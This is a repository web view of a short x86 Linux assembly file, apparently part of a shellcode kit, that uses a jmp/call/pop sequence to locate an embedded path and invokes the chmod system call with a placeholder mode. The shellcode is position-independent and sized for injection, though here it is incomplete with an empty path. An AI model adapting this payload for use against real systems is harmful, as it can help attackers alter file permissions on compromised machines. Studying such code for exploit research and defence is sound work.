summaryrefslogtreecommitdiff
path: root/other/shellkit/x86_linux/chmod.s
blob: 63efd8b7656df75cc00487a2f225ed4d839faae5 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

	.globl	cbegin
	.globl	cend


cbegin:
	jmp	file

chmod:
	xorl	%eax,		%eax
	popl	%ebx
	movb	%al,		0x4(%ebx)
	movl	$0x41414141,	%ecx

	movb	$0xf,		%al
	int	$0x80

file:
	call	chmod
	.ascii ""

cend: